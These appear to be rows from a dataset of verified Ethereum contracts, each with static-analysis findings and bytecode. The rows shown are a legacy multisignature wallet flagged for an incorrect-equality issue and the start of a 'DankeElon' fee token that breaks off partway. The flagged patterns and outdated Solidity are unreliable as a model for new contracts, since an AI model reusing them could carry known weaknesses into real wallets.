{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,960 |
0x70a858c8f8c82c46a82d926c7564fac7328e9f90
|
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/**
*Submitted for verification at Etherscan.io on 2018-03-30
*/
pragma solidity 0.4.20;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <[email protected]>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a723058205d4c544bfa1ab9f7aace27720c650327b7860a93917bacde8a96cced228741cb0029
|
{"success": true, "error": null, "results": {}}
| 8,961 |
0xb7c8d192a735365a075e25c4304c0c78b4b9c252
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DankeElon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Danke Elon";//
string private constant _symbol = "DANKEELON";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x12ED5eCbC485905FA22Bb611B761AC421e0E251f);//
address payable private _marketingAddress = payable(0x12ED5eCbC485905FA22Bb611B761AC421e0E251f);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9; //
uint256 public _maxWalletSize = 200000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000000* 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
